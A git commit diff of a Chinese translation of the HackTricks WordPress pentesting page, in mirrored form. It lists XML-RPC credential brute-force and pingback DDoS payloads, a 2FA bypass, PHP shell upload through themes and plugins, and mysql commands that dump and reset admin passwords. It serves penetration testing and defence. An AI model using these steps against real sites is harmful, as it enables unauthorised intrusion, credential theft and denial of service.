mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
ab3cb48424
commit
6dc1810e90
@ -4,49 +4,49 @@
|
|||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
- **已上传** 的文件会放到: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
- **Uploaded** 文件存放于: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||||
- **主题文件位于 /wp-content/themes/**,所以如果你修改主题的某些 php 来获取 RCE,你很可能会使用该路径。例如:使用 **theme twentytwelve** 可以在: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) 访问 **404.php** 文件。
|
- **Themes files can be found in /wp-content/themes/,** 所以如果你修改主题的某些 php 来获取 RCE,你很可能会使用该路径。例如:使用 **theme twentytwelve** 你可以 **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||||
|
|
||||||
- **另一个有用的 url 可能是:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||||
|
|
||||||
- 在 **wp-config.php** 中可以找到数据库的 root 密码。
|
- 在 **wp-config.php** 中你可以找到数据库的 root 密码。
|
||||||
- 默认要检查的登录路径:_**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
- 默认登录路径可检查: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||||
|
|
||||||
### **主要的 WordPress 文件**
|
### **Main WordPress Files**
|
||||||
|
|
||||||
- `index.php`
|
- `index.php`
|
||||||
- `license.txt` 包含有用信息,例如安装的 WordPress 版本。
|
- `license.txt` 包含有用信息,例如安装的 WordPress 版本。
|
||||||
- `wp-activate.php` 用于在设置新 WordPress 站点时的邮件激活流程。
|
- `wp-activate.php` 在设置新 WordPress 站点时用于电子邮件激活流程。
|
||||||
- 登录目录(可能被重命名以隐藏):
|
- 登录文件夹(可能被重命名以隐藏):
|
||||||
- `/wp-admin/login.php`
|
- `/wp-admin/login.php`
|
||||||
- `/wp-admin/wp-login.php`
|
- `/wp-admin/wp-login.php`
|
||||||
- `/login.php`
|
- `/login.php`
|
||||||
- `/wp-login.php`
|
- `/wp-login.php`
|
||||||
- `xmlrpc.php` 是一个文件,表示 WordPress 的一个功能,允许通过 HTTP 作为传输机制、XML 作为编码机制来传输数据。这种通信方式已被 WordPress 的 [REST API](https://developer.wordpress.org/rest-api/reference) 所取代。
|
- `xmlrpc.php` 是一个表示 WordPress 功能的文件,该功能允许以 HTTP 作为传输机制、以 XML 作为编码机制来传输数据。此类通信已被 WordPress 的 [REST API](https://developer.wordpress.org/rest-api/reference) 所取代。
|
||||||
- `wp-content` 文件夹是存放插件和主题的主要目录。
|
- `wp-content` 文件夹是存放插件和主题的主要目录。
|
||||||
- `wp-content/uploads/` 是平台上上传文件存放的目录。
|
- `wp-content/uploads/` 是平台上上传文件存储的目录。
|
||||||
- `wp-includes/` 是存放核心文件的目录,例如证书、字体、JavaScript 文件和小部件。
|
- `wp-includes/` 是存放核心文件的目录,例如证书、字体、JavaScript 文件和小部件。
|
||||||
- `wp-sitemap.xml` 在 WordPress 5.5 及更高版本中,WordPress 会生成一个 sitemap XML 文件,包含所有公开文章以及可公开查询的 post types 和 taxonomies。
|
- `wp-sitemap.xml` 在 WordPress 5.5 及更高版本中,WordPress 会生成一个包含所有公开帖子和可公开查询的帖子类型与分类法的 sitemap XML 文件。
|
||||||
|
|
||||||
**Post exploitation**
|
**Post exploitation**
|
||||||
|
|
||||||
- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名、数据库主机、用户名和密码、认证密钥和盐值,以及数据库表前缀。该配置文件也可以用于启用 DEBUG 模式,这在故障排查时很有用。
|
- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名、数据库主机、用户名和密码、authentication keys and salts,以及数据库表前缀。该配置文件也可以用于启用 DEBUG 模式,这在排错时很有用。
|
||||||
|
|
||||||
### 用户权限
|
### Users Permissions
|
||||||
|
|
||||||
- **Administrator**
|
- **Administrator**
|
||||||
- **Editor**:发布并管理自己的和他人的文章
|
- **Editor**: 发布并管理自己与他人的文章
|
||||||
- **Author**:发布并管理自己的文章
|
- **Author**: 发布并管理自己的文章
|
||||||
- **Contributor**:撰写并管理自己的文章但不能发布
|
- **Contributor**: 编写并管理自己的文章但不能发布它们
|
||||||
- **Subscriber**:浏览文章并编辑个人资料
|
- **Subscriber**: 查看文章并编辑他们的个人资料
|
||||||
|
|
||||||
## **被动枚举**
|
## **Passive Enumeration**
|
||||||
|
|
||||||
### **获取 WordPress 版本**
|
### **Get WordPress version**
|
||||||
|
|
||||||
检查是否能找到文件 `/license.txt` 或 `/readme.html`
|
检查是否能找到文件 `/license.txt` 或 `/readme.html`
|
||||||
|
|
||||||
在页面的 **源代码** 中(示例来自 [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
在页面的 **源代码** 中(示例来自 [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||||
|
|
||||||
- grep
|
- grep
|
||||||
```bash
|
```bash
|
||||||
@ -72,44 +72,44 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
|||||||
```bash
|
```bash
|
||||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||||
```
|
```
|
||||||
### 通用提取版本
|
### 提取版本信息(通用)
|
||||||
```bash
|
```bash
|
||||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||||
|
|
||||||
```
|
```
|
||||||
## 主动枚举
|
## 主动枚举
|
||||||
|
|
||||||
### Plugins and Themes
|
### 插件和主题
|
||||||
|
|
||||||
你可能无法找到所有可用的 Plugins and Themes。为了发现它们,你需要 **主动地 Brute Force 一份 Plugins and Themes 列表**(希望我们有包含这些列表的自动化工具)。
|
你可能无法找到所有插件和主题。为了发现它们,你需要**主动对插件和主题列表进行 Brute Force**(希望有自动化工具包含这些列表)。
|
||||||
|
|
||||||
### 用户
|
### 用户
|
||||||
|
|
||||||
- **ID Brute:** 你可以通过 Brute Forcing 用户 ID 从 WordPress 站点获取有效用户:
|
- **ID Brute:** 通过 Brute Forcing 用户 ID,可从 WordPress 站点获取有效用户:
|
||||||
```bash
|
```bash
|
||||||
curl -s -I -X GET http://blog.example.com/?author=1
|
curl -s -I -X GET http://blog.example.com/?author=1
|
||||||
```
|
```
|
||||||
如果响应是 **200** 或 **30X**,这意味着该 id 是 **有效**。如果响应是 **400**,则该 id 是 **无效**。
|
如果响应为 **200** 或 **30X**,则表示该 id 是 **有效的**。如果响应为 **400**,则该 id **无效**。
|
||||||
|
|
||||||
- **wp-json:** 你也可以尝试通过查询获取用户信息:
|
- **wp-json:** 你还可以尝试通过查询来获取有关用户的信息:
|
||||||
```bash
|
```bash
|
||||||
curl http://blog.example.com/wp-json/wp/v2/users
|
curl http://blog.example.com/wp-json/wp/v2/users
|
||||||
```
|
```
|
||||||
另一个能暴露一些用户信息的 `/wp-json/` 端点是:
|
另一个会显示一些用户信息的 `/wp-json/` 端点是:
|
||||||
```bash
|
```bash
|
||||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||||
```
|
```
|
||||||
Note that this endpoint only exposes users that have made a post. **只会提供启用此功能的用户的信息**。
|
注意,该端点仅会暴露曾发表过文章的用户。**仅会提供启用了此功能的用户的信息**。
|
||||||
|
|
||||||
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
另请注意,**/wp-json/wp/v2/pages** 可能会 leak IP 地址。
|
||||||
|
|
||||||
- **Login username enumeration**: 在通过 **`/wp-login.php`** 登录时,显示的 **message** 会不同,可用于判断 **username 是否存在**。
|
- **Login username enumeration**: 在通过 **`/wp-login.php`** 登录时,**消息** 会 **不同**,用以指示 **用户名是否存在**。
|
||||||
|
|
||||||
### XML-RPC
|
### XML-RPC
|
||||||
|
|
||||||
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (你可以自动化这个过程[ using this](https://github.com/relarizky/wpxploit) 例如).
|
如果 `xml-rpc.php` 启用,你可以执行 credentials brute-force,或利用它对其他资源发起 DoS attacks。(例如,你可以自动化此过程[ using this](https://github.com/relarizky/wpxploit))。
|
||||||
|
|
||||||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
要检查它是否启用,尝试访问 _**/xmlrpc.php**_ 并发送以下请求:
|
||||||
|
|
||||||
**检查**
|
**检查**
|
||||||
```html
|
```html
|
||||||
@ -122,7 +122,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
|||||||
|
|
||||||
**Credentials Bruteforce**
|
**Credentials Bruteforce**
|
||||||
|
|
||||||
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** 是一些可用于 brute-force credentials 的方法。如果你能找到其中任何一个,你可以发送类似下面的请求:
|
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** 是一些可以用来 brute-force credentials 的方法。如果你能找到其中任何一个,你可以发送如下内容:
|
||||||
```html
|
```html
|
||||||
<methodCall>
|
<methodCall>
|
||||||
<methodName>wp.getUsersBlogs</methodName>
|
<methodName>wp.getUsersBlogs</methodName>
|
||||||
@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
|||||||
</params>
|
</params>
|
||||||
</methodCall>
|
</methodCall>
|
||||||
```
|
```
|
||||||
当凭证无效时,200 状态码响应中应出现消息 _"Incorrect username or password"_。
|
如果凭证无效,则在 200 响应中应出现消息 _"Incorrect username or password"_。
|
||||||
|
|
||||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
使用正确的凭证可以上传文件。在响应中会出现路径 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
使用正确的凭证可以上传文件。在响应中会出现该路径 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||||
```html
|
```html
|
||||||
<?xml version='1.0' encoding='utf-8'?>
|
<?xml version='1.0' encoding='utf-8'?>
|
||||||
<methodCall>
|
<methodCall>
|
||||||
@ -168,18 +168,19 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
|||||||
</params>
|
</params>
|
||||||
</methodCall>
|
</methodCall>
|
||||||
```
|
```
|
||||||
另外有一种更快的方法可以使用 **`system.multicall`** 对凭证进行 brute-force,因为你可以在同一个请求中尝试多个 creds:
|
另外,有一种 **更快的方式** 使用 **`system.multicall`** 对凭证进行暴力破解,因为你可以在同一个请求中尝试多个凭证:
|
||||||
|
|
||||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**绕过 2FA**
|
**绕过 2FA**
|
||||||
|
|
||||||
此方法面向程序而非人类,且较为老旧,因此不支持 2FA。所以,如果你有有效的 creds 但主入口受 2FA 保护,**你可能能够滥用 xmlrpc.php 使用这些 creds 登录,从而绕过 2FA**。注意,你无法执行通过控制台可以完成的所有操作,但你仍可能像 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 中解释的那样获得 RCE。
|
此方法是为程序而非人工交互设计的,且较为古老,因此不支持 2FA。
|
||||||
|
因此,如果你有有效的 creds 但主入口受 2FA 保护,**你可能能够滥用 xmlrpc.php 使用这些 creds 登录,从而绕过 2FA**。注意,你无法执行通过控制台能做的所有操作,但你仍可能达到 RCE,正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 中解释的那样。
|
||||||
|
|
||||||
**DDoS 或 port scanning**
|
**DDoS 或端口扫描**
|
||||||
|
|
||||||
如果你能在方法列表中找到 _**pingback.ping**_,你就可以让 Wordpress 向任意主机/端口发送任意请求。\
|
如果你能在方法列表中找到 _**pingback.ping**_,你可以让 Wordpress 向任意主机/端口发送任意请求。\
|
||||||
这可用于让 **thousands** 的 Wordpress **sites** 访问同一个 **location**(从而在该位置造成 **DDoS**),或者你可以用它让 **Wordpress** 去 **scan** 一些内部 **network**(你可以指定任意端口)。
|
这可以用来让 **成千上万** 的 Wordpress **站点** 去 **访问** 同一 **地址**(从而在该处触发 **DDoS**),或者用来让 **Wordpress** 去 **扫描** 某些内部 **网络**(你可以指定任意端口)。
|
||||||
```html
|
```html
|
||||||
<methodCall>
|
<methodCall>
|
||||||
<methodName>pingback.ping</methodName>
|
<methodName>pingback.ping</methodName>
|
||||||
@ -191,9 +192,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
|||||||
```
|
```
|
||||||

|

|
||||||
|
|
||||||
如果你得到 **faultCode** 的值**大于** **0**(17),那意味着端口是开放的。
|
如果你得到 **faultCode** 值大于 **0**(17),则表示端口是开放的。
|
||||||
|
|
||||||
查看上一节中 **`system.multicall`** 的用法,了解如何滥用此方法导致 DDoS。
|
查看前一节中对 **`system.multicall`** 的用法,学习如何滥用此方法来造成 DDoS。
|
||||||
|
|
||||||
**DDoS**
|
**DDoS**
|
||||||
```html
|
```html
|
||||||
@ -209,11 +210,11 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
|||||||
|
|
||||||
### wp-cron.php DoS
|
### wp-cron.php DoS
|
||||||
|
|
||||||
此文件通常位于 Wordpress 站点的根目录: **`/wp-cron.php`**\
|
该文件通常存在于 Wordpress 站点的根目录:**`/wp-cron.php`**\
|
||||||
当此文件被**访问**时,会执行一个**繁重的** MySQL **查询**,因此可能被**攻击者**用来**造成** **DoS**。\
|
当此文件被**访问**时,会执行一次**“重”** MySQL **查询**,因此**攻击者**可以利用它**导致** **DoS**。\
|
||||||
另外,默认情况下,`wp-cron.php` 会在每次页面加载时被调用(任何客户端请求任何 Wordpress 页面时),在高流量站点上可能导致问题(DoS)。
|
此外,默认情况下,`wp-cron.php` 会在每次页面加载时被调用(任何客户端请求任何 Worpress 页面时),在高流量站点上可能导致问题(DoS)。
|
||||||
|
|
||||||
It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues).
|
建议禁用 Wp-Cron,并在主机内创建一个真实的 cronjob,以定期执行所需操作(避免引发问题)。
|
||||||
|
|
||||||
### /wp-json/oembed/1.0/proxy - SSRF
|
### /wp-json/oembed/1.0/proxy - SSRF
|
||||||
|
|
||||||
@ -230,7 +231,7 @@ This is the response when it doesn't work:
|
|||||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
该工具检查是否存在 **methodName: pingback.ping** 以及路径 **/wp-json/oembed/1.0/proxy**,如果存在,则尝试利用它们。
|
该工具会检查是否存在 **methodName: pingback.ping** 以及路径 **/wp-json/oembed/1.0/proxy**,如果存在,则尝试利用它们。
|
||||||
|
|
||||||
## 自动化工具
|
## 自动化工具
|
||||||
```bash
|
```bash
|
||||||
@ -238,24 +239,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
|
|||||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||||
```
|
```
|
||||||
## 通过覆盖一位获得访问
|
## 通过覆盖一位获取访问权限
|
||||||
|
|
||||||
这与其说是一次真正的攻击,不如说是一种好奇心驱动的实验。 在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任意 wordpress 文件中的 1 位。因此你可以将文件 `/var/www/html/wp-includes/user.php` 中位置为 `5389` 的位翻转为 NOP,从而使 NOT (`!`) 操作失效。
|
这更多是个好奇的例子,而不是真正的攻击。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任意 wordpress 文件的 1 bit。所以你可以翻转文件 `/var/www/html/wp-includes/user.php` 的位置 `5389`,以 NOP 掉 NOT (`!`) 操作。
|
||||||
```php
|
```php
|
||||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||||
return new WP_Error(
|
return new WP_Error(
|
||||||
```
|
```
|
||||||
## **面板 RCE**
|
## **面板 RCE**
|
||||||
|
|
||||||
**修改所用主题中的 php(需要管理员凭据)**
|
**修改所用主题中的 php(需要 admin 凭证)**
|
||||||
|
|
||||||
外观 → 主题编辑器 → 404 模板(在右侧)
|
外观 → 主题编辑器 → 404 Template(在右侧)
|
||||||
|
|
||||||
将内容更改为 php shell:
|
将内容更改为 php shell:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
在网上搜索如何访问该已更新的页面。在本例中,您需要访问: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
在互联网上搜索如何访问该已更新页面。在本例中,你需要访问: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||||
|
|
||||||
### MSF
|
### MSF
|
||||||
|
|
||||||
@ -263,22 +264,22 @@ return new WP_Error(
|
|||||||
```bash
|
```bash
|
||||||
use exploit/unix/webapp/wp_admin_shell_upload
|
use exploit/unix/webapp/wp_admin_shell_upload
|
||||||
```
|
```
|
||||||
to get a session.
|
以获取会话。
|
||||||
|
|
||||||
## 插件 RCE
|
## Plugin RCE
|
||||||
|
|
||||||
### PHP 插件
|
### PHP plugin
|
||||||
|
|
||||||
可能可以将 .php 文件作为插件上传。\
|
可能可以将 .php 文件作为 plugin 上传。\
|
||||||
使用例如下面的方法创建你的 PHP 后门:
|
创建你的 php backdoor,例如使用:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
然后添加一个新插件:
|
然后添加一个新的 plugin:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
上传插件并按 Install Now:
|
Upload plugin 并按 Install Now:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -286,7 +287,7 @@ to get a session.
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
这看起来可能不会有什么反应,但如果你去 Media,你会看到你的 shell 已上传:
|
这看起来可能不会有任何反应,但如果你转到 Media,你会看到上传的 shell:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -296,32 +297,32 @@ to get a session.
|
|||||||
|
|
||||||
### Uploading and activating malicious plugin
|
### Uploading and activating malicious plugin
|
||||||
|
|
||||||
该方法涉及安装已知存在漏洞且可被利用以获取 web shell 的恶意插件。该过程通过 WordPress 控制面板执行,步骤如下:
|
该方法涉及安装已知存在漏洞的恶意 plugin,并可被利用以获取 web shell。该过程通过 WordPress dashboard 执行,步骤如下:
|
||||||
|
|
||||||
1. **插件获取**:从像 Exploit DB 这样的来源获取插件,例如 [**here**](https://www.exploit-db.com/exploits/36374).
|
1. **Plugin Acquisition**: 从诸如 Exploit DB 的来源获取该 plugin,例如 [**here**](https://www.exploit-db.com/exploits/36374).
|
||||||
2. **插件安装**:
|
2. **Plugin Installation**:
|
||||||
- 在 WordPress 控制面板中,转到 `Dashboard > Plugins > Upload Plugin`。
|
- 导航到 WordPress dashboard,然后进入 `Dashboard > Plugins > Upload Plugin`。
|
||||||
- 上传下载的插件的 zip 文件。
|
- 上传下载的 plugin 的 zip 文件。
|
||||||
3. **插件激活**:插件成功安装后,必须通过控制面板将其激活。
|
3. **Plugin Activation**: plugin 安装成功后,必须通过 dashboard 激活。
|
||||||
4. **利用**:
|
4. **Exploitation**:
|
||||||
- 当安装并激活了名为 "reflex-gallery" 的插件后,可对其进行利用,因为它已知存在漏洞。
|
- 安装并激活 reflex-gallery plugin 后,由于其已知存在漏洞,可以对其进行利用。
|
||||||
- Metasploit framework 提供了针对该漏洞的 exploit。通过加载相应模块并执行特定命令,可以建立 meterpreter 会话,从而获得对该站点的未授权访问。
|
- Metasploit framework 为该漏洞提供了 exploit。通过加载相应模块并执行特定命令,可建立 meterpreter 会话,从而获取对站点的未授权访问。
|
||||||
- 注意,这只是利用 WordPress 站点的众多方法之一。
|
- 请注意,这只是利用 WordPress 站点的众多方法之一。
|
||||||
|
|
||||||
内容包含展示在 WordPress 控制面板中安装并激活插件步骤的图示。不过需要注意的是,在没有适当授权的情况下以这种方式利用漏洞是非法且不道德的。此信息应负责任地使用,仅在合法背景下,例如在获得明确许可的渗透测试中使用。
|
内容包括展示在 WordPress 仪表盘中安装和激活 plugin 步骤的图示。不过需要注意的是,在没有适当授权的情况下以这种方式利用漏洞是非法且不道德的。该信息应负责任地使用,并仅在合法情境下,例如具有明确许可的 penetration testing 时使用。
|
||||||
|
|
||||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||||
|
|
||||||
## 从 XSS 到 RCE
|
## 从 XSS 到 RCE
|
||||||
|
|
||||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ 是一个脚本,旨在将 **Cross-Site Scripting (XSS)** 漏洞升级为 **Remote Code Execution (RCE)** 或其它 WordPress 的严重漏洞。更多信息请查看 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它为 Wordpress 版本 6.X.X、5.X.X 和 4.X.X 提供支持,并允许:
|
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ 是一个脚本,旨在将 **Cross-Site Scripting (XSS)** 漏洞升级为 **Remote Code Execution (RCE)** 或其他 WordPress 的严重漏洞。更多信息请查看 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 Wordpress 6.X.X、5.X.X 和 4.X.X 版本的支持,并允许:
|
||||||
- _**Privilege Escalation:**_ 在 WordPress 中创建用户。
|
- _**Privilege Escalation:**_ 在 WordPress 中创建一个用户。
|
||||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ 将你的自定义插件(backdoor)上传到 WordPress。
|
- _**(RCE) Custom Plugin (backdoor) Upload:**_ 将你的自定义 plugin (backdoor) 上传到 WordPress。
|
||||||
- _**(RCE) Built-In Plugin Edit:**_ 在 WordPress 中编辑内置插件。
|
- _**(RCE) Built-In Plugin Edit:**_ 编辑 WordPress 内置的 plugin。
|
||||||
- _**(RCE) Built-In Theme Edit:**_ 在 WordPress 中编辑内置主题。
|
- _**(RCE) Built-In Theme Edit:**_ 编辑 WordPress 内置的 theme。
|
||||||
- _**(Custom) Custom Exploits:**_ 为第三方 WordPress 插件/主题提供自定义 exploits。
|
- _**(Custom) Custom Exploits:**_ 为第三方 WordPress plugins/themes 提供自定义 exploits。
|
||||||
|
|
||||||
## 后利用
|
## Post Exploitation
|
||||||
|
|
||||||
提取用户名和密码:
|
提取用户名和密码:
|
||||||
```bash
|
```bash
|
||||||
@ -331,29 +332,29 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select
|
|||||||
```bash
|
```bash
|
||||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||||
```
|
```
|
||||||
## Wordpress Plugins Pentest
|
## Wordpress 插件 Pentest
|
||||||
|
|
||||||
### Attack Surface
|
### 攻击面
|
||||||
|
|
||||||
了解 Wordpress 插件如何暴露功能对于发现其功能性漏洞至关重要。下面的要点列出了插件可能暴露功能的方式,示例易受影响的插件可见 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/)。
|
了解 Wordpress 插件如何暴露功能是发现其功能性漏洞的关键。你可以在下面的要点中看到插件可能如何暴露功能,以及一些易受攻击插件的示例,详见 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||||
|
|
||||||
- **`wp_ajax`**
|
- **`wp_ajax`**
|
||||||
|
|
||||||
插件将功能暴露给用户的方式之一是通过 AJAX handlers。这些处理程序可能包含逻辑、授权或认证漏洞。此外,这类函数常常基于 Wordpress nonce 的存在来判断认证和授权,而 **任何在 Wordpress 实例中已认证的用户都可能拥有该 nonce**(与其角色无关)。
|
插件暴露给用户功能的方式之一是通过 AJAX 处理程序。这些处理程序可能包含逻辑、授权或认证漏洞。此外,这类函数很常见地将认证和授权都基于 wordpress nonce 的存在,而 **任何在该 Wordpress 实例中已验证的用户都可能拥有**(与其角色无关)。
|
||||||
|
|
||||||
以下是可用于在插件中暴露函数的函数:
|
下面是可用于在插件中暴露功能的函数:
|
||||||
```php
|
```php
|
||||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||||
```
|
```
|
||||||
**使用 `nopriv` 会使该端点对任何用户可访问(甚至未认证的用户)。**
|
**使用 `nopriv` 会使该 endpoint 可被任何用户访问(甚至未认证的用户)。**
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> 此外,如果函数只是使用 `wp_verify_nonce` 来检查用户授权,`wp_verify_nonce` 仅检查用户是否已登录,通常不会检查用户的角色。因此低权限用户可能可以访问高权限操作。
|
> 此外,如果函数只是使用 `wp_verify_nonce` 来检查用户的授权,该函数通常只是检查用户是否已登录,并不会检查用户的角色。因此低权限用户可能能够访问高权限操作。
|
||||||
|
|
||||||
- **REST API**
|
- **REST API**
|
||||||
|
|
||||||
也可以通过使用 `register_rest_route` 函数在 wordpress 中注册 REST API 来暴露函数:
|
也可以通过在 WordPress 中使用 `register_rest_route` 函数注册 REST API 来公开函数:
|
||||||
```php
|
```php
|
||||||
register_rest_route(
|
register_rest_route(
|
||||||
$this->namespace, '/get/', array(
|
$this->namespace, '/get/', array(
|
||||||
@ -363,21 +364,21 @@ $this->namespace, '/get/', array(
|
|||||||
)
|
)
|
||||||
);
|
);
|
||||||
```
|
```
|
||||||
`permission_callback` 是一个回调函数,用于检查给定用户是否被授权调用该 API 方法。
|
The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method.
|
||||||
|
|
||||||
**如果使用内置的 `__return_true` 函数,它会直接跳过用户权限检查。**
|
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
|
||||||
|
|
||||||
- **直接访问 PHP 文件**
|
- **直接访问 php 文件**
|
||||||
|
|
||||||
当然,Wordpress 使用 PHP,插件中的文件可以直接通过 web 访问。因此,如果某个插件暴露了仅通过访问文件即可触发的易受攻击功能,任何用户都能够利用它。
|
